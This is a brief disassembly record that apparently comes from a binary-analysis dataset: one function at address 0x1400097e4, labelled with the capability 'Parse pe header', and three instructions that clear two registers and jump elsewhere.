Function at 0x1400097e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400095e0